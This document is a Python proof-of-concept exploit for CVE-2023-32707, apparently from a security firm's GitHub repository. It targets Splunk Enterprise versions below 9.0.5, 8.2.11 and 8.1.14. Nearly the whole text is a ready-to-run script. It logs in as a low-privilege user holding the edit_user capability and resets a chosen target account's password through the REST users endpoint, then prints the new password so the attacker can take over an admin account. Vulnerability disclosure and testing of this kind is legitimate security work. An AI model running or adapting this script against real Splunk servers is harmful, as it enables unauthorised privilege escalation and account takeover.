https://github.com/redwaysecurity/CVEs/blob/main/CVE-2023-32707/README.md #!/usr/bin/env python3 # # Splunk admin account take over exploit - CVE-2023-32707 # Author: [Redway Security](https://twitter.com/redwaysec)) # Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99) # # Vendor Description: A low-privilege user who holds a role that has the `edit_user` capability assigned # to it can escalate their privileges to that of the admin user by providing specially crafted web requests. # # Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14. # import argparse import requests import random import string import base64 # ignore warnings import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Parse command-line arguments parser = argparse.ArgumentParser(description='Splunk Authentication') parser.add_argument('--host', required=True, help='Splunk host or IP address') parser.add_argument('--username', required=True, help='Splunk username') parser.add_argument('--password', required=True, help='Splunk password') parser.add_argument('--target-user', required=True, help='Target user') parser.add_argument('--force-exploit', action='store_true', help='Force exploit') args = parser.parse_args() # Splunk server settings splunk_host = args.host.split(':')[0] splunk_username = args.username splunk_password = args.password target_user = args.target_user force_exploit = args.force_exploit splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089 user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users" credentials = f"{splunk_username}:{splunk_password}" base64_credentials = base64.b64encode(credentials.encode()).decode() headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0', 'Authorization': f'Basic {base64_credentials}' } proxies = { # 'http': '[http://127.0.0.1:8080'](http://127.0.0.1:8080', # 'https': 'http://127.0.0.1:8080' } response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json", headers=headers, proxies=proxies, verify=False) if response.status_code == 200: affected_versions = ['9.0.4', '8.2.10', '8.1.13'] user = response.json() splunk_version = user['generator']['version'] # This is not a good way to compare versions. # There is a range of versions that are affected by this CVE, but this is just a PoC # 8.1.0 to 8.1.13 # 8.2.0 to 8.2.10 # 9.0.0 to 9.0.4 print(f"Detected Splunk version '{splunk_version}'") if any(splunk_version <= value for value in affected_versions) or force_exploit: user_capabilities = user['entry'][0]['content']['capabilities'] if 'edit_user' in user_capabilities: print( f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.") new_password = ''.join(random.choice( string.ascii_letters + string.digits) for _ in range(8)) change_password_payload = { 'password': new_password, 'force-change-pass': 0, 'locked-out': 0 } response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json", data=change_password_payload, headers=headers, proxies=proxies, verify=False) if response.status_code == 200: print( f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'") else: print('Account takeover failed') else: print( f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.") else: print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707") else: print( f"Couldn't authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'") exit(1)